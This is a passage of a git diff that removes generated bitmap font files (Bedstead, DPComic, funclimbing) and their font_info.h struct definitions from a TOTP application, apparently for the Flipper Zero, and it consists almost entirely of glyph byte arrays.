- 0x03, - 0xF8, - 0x07, - 0xF0, - 0x03, - 0xE0, - 0x01, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - - /* @832 'W' (13 pixels wide) */ - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0xE7, - 0x1C, - 0xE7, - 0x1C, - 0xE7, - 0x1C, - 0xE7, - 0x1C, - 0xE7, - 0x1C, - 0xFF, - 0x1F, - 0xFE, - 0x0F, - 0xFE, - 0x0F, - 0xBC, - 0x07, - - /* @864 'X' (13 pixels wide) */ - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x0F, - 0x1E, - 0x1E, - 0x0F, - 0xBC, - 0x07, - 0xF8, - 0x03, - 0xF0, - 0x01, - 0xF0, - 0x01, - 0xF8, - 0x03, - 0xBC, - 0x07, - 0x1E, - 0x0F, - 0x0F, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - - /* @896 'Y' (13 pixels wide) */ - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x0F, - 0x1E, - 0x1E, - 0x0F, - 0xBC, - 0x07, - 0xF8, - 0x03, - 0xF0, - 0x01, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, -}; - -/* Character descriptors for Bedstead 17pt */ -/* { [Char width in bits], [Offset into bedstead_17ptCharBitmaps in bytes] } */ -const FONT_CHAR_INFO bedstead_17ptDescriptors[] = { - {13, 0}, /* - */ - {0, 0}, /* . */ - {0, 0}, /* / */ - {13, 32}, /* 0 */ - {13, 64}, /* 1 */ - {13, 96}, /* 2 */ - {13, 128}, /* 3 */ - {13, 160}, /* 4 */ - {13, 192}, /* 5 */ - {13, 224}, /* 6 */ - {13, 256}, /* 7 */ - {13, 288}, /* 8 */ - {13, 320}, /* 9 */ - {0, 0}, /* : */ - {0, 0}, /* ; */ - {0, 0}, /* < */ - {0, 0}, /* = */ - {0, 0}, /* > */ - {0, 0}, /* ? */ - {0, 0}, /* @ */ - {0, 0}, /* A */ - {13, 352}, /* B */ - {13, 384}, /* C */ - {13, 416}, /* D */ - {0, 0}, /* E */ - {13, 448}, /* F */ - {13, 480}, /* G */ - {13, 512}, /* H */ - {0, 0}, /* I */ - {13, 544}, /* J */ - {13, 576}, /* K */ - {0, 0}, /* L */ - {13, 608}, /* M */ - {13, 640}, /* N */ - {0, 0}, /* O */ - {13, 672}, /* P */ - {13, 704}, /* Q */ - {13, 736}, /* R */ - {0, 0}, /* S */ - {13, 768}, /* T */ - {0, 0}, /* U */ - {13, 800}, /* V */ - {13, 832}, /* W */ - {13, 864}, /* X */ - {13, 896}, /* Y */ -}; - -/* Font information for Bedstead 17pt */ -const FONT_INFO bedstead_17ptFontInfo = { - "Bedstead", - 16, /* Character height */ - '-', /* Start character */ - 'Y', /* End character */ - 2, /* Width, in pixels, of space character */ - bedstead_17ptDescriptors, /* Character descriptor array */ - bedstead_17ptBitmaps, /* Character bitmap array */ -}; diff --git a/applications/external/totp/lib/fonts/bedstead/bedstead.h b/applications/external/totp/lib/fonts/bedstead/bedstead.h deleted file mode 100644 index 0f4c10949..000000000 --- a/applications/external/totp/lib/fonts/bedstead/bedstead.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -#include "../font_info.h" - -/* Font data for Bedstead 17pt */ -extern const FONT_INFO bedstead_17ptFontInfo; diff --git a/applications/external/totp/lib/fonts/dpcomic/dpcomic.c b/applications/external/totp/lib/fonts/dpcomic/dpcomic.c deleted file mode 100644 index 7d215c273..000000000 --- a/applications/external/totp/lib/fonts/dpcomic/dpcomic.c +++ /dev/null @@ -1,1115 +0,0 @@ -#include "dpcomic.h" - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -/* -** Font data for DPComic 18pt -*/ - -/* Character bitmaps for DPComic 18pt */ -const uint8_t dPComic_18ptBitmaps[] = { - /* @0 '-' (15 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0xE0, - 0x3F, - 0xF8, - 0x0F, - 0xF8, - 0x0F, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @34 '0' (15 pixels wide) */ - 0x00, - 0x00, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xE0, - 0x07, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0xE0, - 0x07, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @68 '1' (15 pixels wide) */ - 0x00, - 0x00, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xE0, - 0x01, - 0xF8, - 0x01, - 0xF8, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xE0, - 0x0F, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @102 '2' (15 pixels wide) */ - 0x00, - 0x00, - 0xC0, - 0x07, - 0xC0, - 0x07, - 0xE0, - 0x0F, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x07, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xE0, - 0x3F, - 0xF8, - 0x0F, - 0xF8, - 0x0F, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @136 '3' (15 pixels wide) */ - 0x00, - 0x00, - 0xC0, - 0x3F, - 0xC0, - 0x3F, - 0xE0, - 0x3F, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x07, - 0xC0, - 0x07, - 0xC0, - 0x07, - 0x00, - 0x0F, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0xE0, - 0x0F, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @170 '4' (15 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0F, - 0xC0, - 0x0F, - 0xC0, - 0x0F, - 0xE0, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0xF8, - 0x0F, - 0xF8, - 0x0F, - 0xF8, - 0x0F, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @204 '5' (15 pixels wide) */ - 0x00, - 0x00, - 0xC0, - 0x3F, - 0xC0, - 0x3F, - 0xC0, - 0x0F, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x07, - 0xE0, - 0x0F, - 0xE0, - 0x0F, - 0x00, - 0x0E, - 0x00, - 0x0F, - 0x00, - 0x0F, - 0xE0, - 0x07, - 0xF8, - 0x01, - 0xF8, - 0x01, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @238 '6' (15 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x0F, - 0x00, - 0x0F, - 0xC0, - 0x07, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x07, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0F, - 0x38, - 0x0F, - 0xF8, - 0x07, - 0xE0, - 0x01, - 0xE0, - 0x01, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @272 '7' (15 pixels wide) */ - 0x00, - 0x00, - 0xE0, - 0x0F, - 0xE0, - 0x0F, - 0xF8, - 0x0F, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x07, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xE0, - 0x00, - 0xF8, - 0x00, - 0xF8, - 0x00, - 0x38, - 0x00, - 0x38, - 0x00, - 0x38, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @306 '8' (15 pixels wide) */ - 0x00, - 0x00, - 0xC0, - 0x0F, - 0xC0, - 0x0F, - 0xE0, - 0x38, - 0xE0, - 0x3E, - 0xE0, - 0x3E, - 0xC0, - 0x0F, - 0xE0, - 0x07, - 0xE0, - 0x07, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0F, - 0xE0, - 0x07, - 0xE0, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @340 '9' (15 pixels wide) */ - 0x00, - 0x00, - 0xC0, - 0x07, - 0xC0, - 0x07, - 0xE0, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0xF8, - 0x0F, - 0xF8, - 0x0F, - 0xE0, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0xE0, - 0x01, - 0xF8, - 0x00, - 0xF8, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @374 'B' (15 pixels wide) */ - 0xC0, - 0x0F, - 0xE0, - 0x3F, - 0xE0, - 0x3F, - 0xF8, - 0x38, - 0x38, - 0x3E, - 0x38, - 0x3E, - 0xF8, - 0x0F, - 0xF8, - 0x3F, - 0xF8, - 0x3F, - 0x38, - 0x38, - 0x38, - 0x3E, - 0x38, - 0x3E, - 0xF8, - 0x0F, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @408 'C' (15 pixels wide) */ - 0x00, - 0x0F, - 0xC0, - 0x3F, - 0xC0, - 0x3F, - 0xE0, - 0x39, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xF8, - 0x00, - 0x38, - 0x00, - 0x38, - 0x00, - 0x38, - 0x38, - 0x38, - 0x3E, - 0x38, - 0x3E, - 0xF8, - 0x0F, - 0xE0, - 0x07, - 0xE0, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @442 'D' (15 pixels wide) */ - 0xC0, - 0x07, - 0xE0, - 0x0F, - 0xE0, - 0x0F, - 0xF8, - 0x3E, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x3E, - 0x38, - 0x0F, - 0x38, - 0x0F, - 0xF8, - 0x07, - 0xF8, - 0x01, - 0xF8, - 0x01, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @476 'F' (15 pixels wide) */ - 0x80, - 0x1F, - 0xC0, - 0x0F, - 0xC0, - 0x0F, - 0xF0, - 0x01, - 0x70, - 0x00, - 0x70, - 0x00, - 0xF0, - 0x0F, - 0xF0, - 0x03, - 0xF0, - 0x03, - 0x70, - 0x00, - 0x70, - 0x00, - 0x70, - 0x00, - 0x70, - 0x00, - 0x70, - 0x00, - 0x70, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @510 'G' (15 pixels wide) */ - 0x00, - 0x0F, - 0xC0, - 0x3F, - 0xC0, - 0x3F, - 0xE0, - 0x39, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xF8, - 0x00, - 0x38, - 0x3E, - 0x38, - 0x3E, - 0x38, - 0x38, - 0x38, - 0x3E, - 0x38, - 0x3E, - 0xF8, - 0x0F, - 0xE0, - 0x07, - 0xE0, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @544 'H' (15 pixels wide) */ - 0x00, - 0x30, - 0x20, - 0x38, - 0x20, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0xF8, - 0x3F, - 0xF8, - 0x3F, - 0xF8, - 0x3F, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @578 'J' (15 pixels wide) */ - 0x00, - 0x08, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x00, - 0x0E, - 0x18, - 0x0F, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0xE0, - 0x01, - 0xE0, - 0x01, - - /* @612 'K' (15 pixels wide) */ - 0x20, - 0x30, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x3E, - 0x38, - 0x0F, - 0x38, - 0x0F, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x38, - 0x0F, - 0x38, - 0x3E, - 0x38, - 0x3E, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @646 'M' (15 pixels wide) */ - 0x08, - 0x10, - 0x3E, - 0x1C, - 0x3E, - 0x1C, - 0x7E, - 0x1E, - 0xFE, - 0x1F, - 0xFE, - 0x1F, - 0xCE, - 0x1D, - 0x0E, - 0x1C, - 0x0E, - 0x1C, - 0x0E, - 0x1C, - 0x0E, - 0x1C, - 0x0E, - 0x1C, - 0x0E, - 0x1C, - 0x0E, - 0x1C, - 0x0E, - 0x1C, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @680 'N' (15 pixels wide) */ - 0x20, - 0x30, - 0xF8, - 0x38, - 0xF8, - 0x38, - 0xF8, - 0x38, - 0xF8, - 0x39, - 0xF8, - 0x39, - 0xF8, - 0x39, - 0x38, - 0x3F, - 0x38, - 0x3F, - 0x38, - 0x3F, - 0x38, - 0x3E, - 0x38, - 0x3E, - 0x38, - 0x3E, - 0x38, - 0x38, - 0x38, - 0x38, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @714 'P' (15 pixels wide) */ - 0xC0, - 0x07, - 0xE0, - 0x0F, - 0xE0, - 0x0F, - 0xF8, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0F, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0xF8, - 0x01, - 0x38, - 0x00, - 0x38, - 0x00, - 0x38, - 0x00, - 0x38, - 0x00, - 0x38, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @748 'Q' (15 pixels wide) */ - 0x00, - 0x0F, - 0xC0, - 0x3F, - 0xC0, - 0x3F, - 0xE0, - 0x39, - 0xE0, - 0x38, - 0xE0, - 0x38, - 0xF8, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x3E, - 0x38, - 0x3E, - 0xF8, - 0x0F, - 0xE0, - 0x3F, - 0xE0, - 0x3F, - 0x00, - 0x38, - 0x00, - 0x38, - - /* @782 'R' (15 pixels wide) */ - 0xC0, - 0x07, - 0xE0, - 0x0F, - 0xE0, - 0x0F, - 0xF8, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0F, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0xF8, - 0x01, - 0x38, - 0x07, - 0x38, - 0x07, - 0x38, - 0x0F, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @816 'T' (15 pixels wide) */ - 0x00, - 0x7E, - 0xE0, - 0x3F, - 0xE0, - 0x3F, - 0xF8, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @850 'V' (15 pixels wide) */ - 0x20, - 0x30, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x07, - 0x38, - 0x07, - 0xE0, - 0x07, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @884 'W' (15 pixels wide) */ - 0x04, - 0x40, - 0x07, - 0x70, - 0x07, - 0x70, - 0x07, - 0x71, - 0xC7, - 0x71, - 0xC7, - 0x71, - 0xC7, - 0x71, - 0xC7, - 0x71, - 0xC7, - 0x71, - 0xC7, - 0x71, - 0xE7, - 0x39, - 0xE7, - 0x39, - 0x3C, - 0x0F, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @918 'X' (15 pixels wide) */ - 0x18, - 0x30, - 0x38, - 0x38, - 0x38, - 0x38, - 0xF8, - 0x3E, - 0xE0, - 0x0F, - 0xE0, - 0x0F, - 0xC0, - 0x07, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xE0, - 0x07, - 0x38, - 0x0F, - 0x38, - 0x0F, - 0x38, - 0x3E, - 0x18, - 0x38, - 0x18, - 0x38, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @952 'Y' (15 pixels wide) */ - 0x18, - 0x08, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0x38, - 0x0E, - 0xF8, - 0x0F, - 0xF8, - 0x0F, - 0xE0, - 0x07, - 0xE0, - 0x01, - 0xE0, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x01, - 0x00, - 0x00, - 0x00, - 0x00, -}; - -/* Character descriptors for DPComic 18pt */ -/* { [Char width in bits], [Offset into dPComic_18ptCharBitmaps in bytes] } */ -const FONT_CHAR_INFO dPComic_18ptDescriptors[] = { - {15, 0}, /* - */ - {0, 0}, /* . */ - {0, 0}, /* / */ - {15, 34}, /* 0 */ - {15, 68}, /* 1 */ - {15, 102}, /* 2 */ - {15, 136}, /* 3 */ - {15, 170}, /* 4 */ - {15, 204}, /* 5 */ - {15, 238}, /* 6 */ - {15, 272}, /* 7 */ - {15, 306}, /* 8 */ - {15, 340}, /* 9 */ - {0, 0}, /* : */ - {0, 0}, /* ; */ - {0, 0}, /* < */ - {0, 0}, /* = */ - {0, 0}, /* > */ - {0, 0}, /* ? */ - {0, 0}, /* @ */ - {0, 0}, /* A */ - {15, 374}, /* B */ - {15, 408}, /* C */ - {15, 442}, /* D */ - {0, 0}, /* E */ - {15, 476}, /* F */ - {15, 510}, /* G */ - {15, 544}, /* H */ - {0, 0}, /* I */ - {15, 578}, /* J */ - {15, 612}, /* K */ - {0, 0}, /* L */ - {15, 646}, /* M */ - {15, 680}, /* N */ - {0, 0}, /* O */ - {15, 714}, /* P */ - {15, 748}, /* Q */ - {15, 782}, /* R */ - {0, 0}, /* S */ - {15, 816}, /* T */ - {0, 0}, /* U */ - {15, 850}, /* V */ - {15, 884}, /* W */ - {15, 918}, /* X */ - {15, 952}, /* Y */ -}; - -/* Font information for DPComic 18pt */ -const FONT_INFO dPComic_18ptFontInfo = { - "DP Comic", - 17, /* Character height */ - '-', /* Start character */ - 'Y', /* End character */ - 2, /* Width, in pixels, of space character */ - dPComic_18ptDescriptors, /* Character descriptor array */ - dPComic_18ptBitmaps, /* Character bitmap array */ -}; diff --git a/applications/external/totp/lib/fonts/dpcomic/dpcomic.h b/applications/external/totp/lib/fonts/dpcomic/dpcomic.h deleted file mode 100644 index bac49b4d6..000000000 --- a/applications/external/totp/lib/fonts/dpcomic/dpcomic.h +++ /dev/null @@ -1,7 +0,0 @@ -#pragma once - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -#include "../font_info.h" - -extern const FONT_INFO dPComic_18ptFontInfo; \ No newline at end of file diff --git a/applications/external/totp/lib/fonts/font_info.h b/applications/external/totp/lib/fonts/font_info.h deleted file mode 100644 index b7bf6a045..000000000 --- a/applications/external/totp/lib/fonts/font_info.h +++ /dev/null @@ -1,24 +0,0 @@ -#pragma once - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -#include - -// This structure describes a single character's display information -typedef struct { - const uint8_t width; // width, in bits (or pixels), of the character - const uint16_t - offset; // offset of the character's bitmap, in bytes, into the the FONT_INFO's data array - -} FONT_CHAR_INFO; - -// Describes a single font -typedef struct { - const char* name; // Font name - const uint8_t height; // height, in pages (8 pixels), of the font's characters - const uint8_t startChar; // the first character in the font (e.g. in charInfo and data) - const uint8_t endChar; // the last character in the font - const uint8_t spacePixels; // number of pixels that a space character takes up - const FONT_CHAR_INFO* charInfo; // pointer to array of char information - const uint8_t* data; // pointer to generated array of character visual representation -} FONT_INFO; \ No newline at end of file diff --git a/applications/external/totp/lib/fonts/funclimbing/funclimbing.c b/applications/external/totp/lib/fonts/funclimbing/funclimbing.c deleted file mode 100644 index 4176e1f37..000000000 --- a/applications/external/totp/lib/fonts/funclimbing/funclimbing.c +++ /dev/null @@ -1,1173 +0,0 @@ -#include "funclimbing.h" - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -/* -** Font data for fun climbing (Demo) 18pt -*/ - -/* Character bitmaps for fun climbing (Demo) 18pt */ -const uint8_t funclimbingDemo_18ptBitmaps[] = { - /* @0 '-' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0xE0, - 0x03, - 0xE0, - 0x03, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @36 '0' (16 pixels wide) */ - 0x00, - 0x00, - 0x80, - 0x00, - 0xE0, - 0x03, - 0x20, - 0x02, - 0x10, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0x08, - 0x04, - 0x08, - 0x08, - 0x08, - 0x08, - 0x08, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0x20, - 0x02, - 0xE0, - 0x01, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @72 '1' (16 pixels wide) */ - 0x00, - 0x02, - 0x00, - 0x03, - 0x80, - 0x03, - 0xC0, - 0x02, - 0x60, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x00, - - /* @108 '2' (16 pixels wide) */ - 0x00, - 0x00, - 0xC0, - 0x07, - 0x60, - 0x04, - 0x20, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0x08, - 0x02, - 0x08, - 0x02, - 0x00, - 0x01, - 0x00, - 0x01, - 0x80, - 0x00, - 0x80, - 0x00, - 0x40, - 0x00, - 0x60, - 0x00, - 0xC0, - 0x03, - 0x00, - 0x1C, - 0x00, - 0x00, - - /* @144 '3' (16 pixels wide) */ - 0x00, - 0x02, - 0x80, - 0x05, - 0x40, - 0x08, - 0x40, - 0x08, - 0x40, - 0x10, - 0x40, - 0x10, - 0x00, - 0x10, - 0x00, - 0x08, - 0x00, - 0x08, - 0x00, - 0x0C, - 0x00, - 0x06, - 0x00, - 0x03, - 0x80, - 0x0F, - 0x00, - 0x10, - 0x00, - 0x10, - 0x30, - 0x08, - 0xC0, - 0x07, - 0x00, - 0x00, - - /* @180 '4' (16 pixels wide) */ - 0x00, - 0x10, - 0x00, - 0x10, - 0x40, - 0x10, - 0x40, - 0x10, - 0x40, - 0x10, - 0x40, - 0x10, - 0x40, - 0x10, - 0x20, - 0x10, - 0x20, - 0x10, - 0x20, - 0x10, - 0x20, - 0x10, - 0x30, - 0x10, - 0xF0, - 0x1F, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - - /* @216 '5' (16 pixels wide) */ - 0x00, - 0x00, - 0x60, - 0x00, - 0xA0, - 0x03, - 0x20, - 0x04, - 0x20, - 0x00, - 0x30, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0xF0, - 0x00, - 0x80, - 0x03, - 0x00, - 0x04, - 0x00, - 0x08, - 0x00, - 0x08, - 0x00, - 0x08, - 0x00, - 0x04, - 0x80, - 0x03, - 0xF0, - 0x00, - 0x00, - 0x00, - - /* @252 '6' (16 pixels wide) */ - 0x00, - 0x00, - 0x40, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x18, - 0x03, - 0xC8, - 0x06, - 0x28, - 0x0C, - 0x18, - 0x08, - 0x18, - 0x08, - 0x08, - 0x08, - 0x08, - 0x08, - 0x10, - 0x08, - 0x30, - 0x0C, - 0xC0, - 0x07, - 0x00, - 0x00, - - /* @288 '7' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x0F, - 0xF0, - 0x09, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x06, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x03, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x00, - - /* @324 '8' (16 pixels wide) */ - 0x80, - 0x01, - 0x60, - 0x02, - 0x30, - 0x04, - 0x10, - 0x08, - 0x10, - 0x08, - 0x08, - 0x08, - 0x08, - 0x08, - 0x10, - 0x0C, - 0x10, - 0x04, - 0x60, - 0x03, - 0xC0, - 0x01, - 0x40, - 0x03, - 0x20, - 0x04, - 0x20, - 0x04, - 0x20, - 0x04, - 0x20, - 0x04, - 0xC0, - 0x03, - 0x00, - 0x00, - - /* @360 '9' (16 pixels wide) */ - 0x00, - 0x00, - 0xC0, - 0x01, - 0x20, - 0x02, - 0x10, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0xE0, - 0x03, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x01, - 0x00, - 0x01, - 0x80, - 0x00, - 0x80, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @396 'B' (16 pixels wide) */ - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x18, - 0x00, - 0x18, - 0x00, - 0x08, - 0x00, - 0x08, - 0x00, - 0xE8, - 0x0F, - 0x38, - 0x10, - 0x10, - 0x10, - 0x10, - 0x30, - 0x10, - 0x10, - 0x10, - 0x18, - 0xF0, - 0x07, - 0x20, - 0x00, - - /* @432 'C' (16 pixels wide) */ - 0x00, - 0x03, - 0x80, - 0x06, - 0x40, - 0x04, - 0x40, - 0x04, - 0x40, - 0x08, - 0x40, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x40, - 0x00, - 0x40, - 0x08, - 0x40, - 0x08, - 0x40, - 0x08, - 0xC0, - 0x08, - 0x80, - 0x04, - 0x80, - 0x05, - 0x00, - 0x02, - - /* @468 'D' (16 pixels wide) */ - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x80, - 0x07, - 0x40, - 0x04, - 0x20, - 0x04, - 0x20, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0x30, - 0x04, - 0x20, - 0x04, - 0x20, - 0x04, - 0x40, - 0x04, - 0x80, - 0x05, - 0x00, - 0x07, - - /* @504 'F' (16 pixels wide) */ - 0x00, - 0x02, - 0x80, - 0x0D, - 0xC0, - 0x08, - 0x40, - 0x10, - 0x60, - 0x10, - 0x20, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0xF8, - 0x01, - 0x20, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x40, - 0x00, - - /* @540 'G' (16 pixels wide) */ - 0x80, - 0x00, - 0x60, - 0x01, - 0x20, - 0x03, - 0x30, - 0x02, - 0x10, - 0x02, - 0x10, - 0x02, - 0x10, - 0x02, - 0x10, - 0x02, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0xD0, - 0x0F, - 0x10, - 0x02, - 0x10, - 0x01, - 0x20, - 0x01, - 0xE0, - 0x00, - 0x40, - 0x00, - - /* @576 'H' (16 pixels wide) */ - 0x00, - 0x00, - 0x08, - 0x00, - 0x08, - 0x00, - 0x08, - 0x00, - 0x18, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x0F, - 0x90, - 0x09, - 0xD0, - 0x18, - 0x50, - 0x10, - 0x30, - 0x10, - 0x30, - 0x10, - 0x10, - 0x10, - 0x00, - 0x00, - - /* @612 'J' (16 pixels wide) */ - 0x00, - 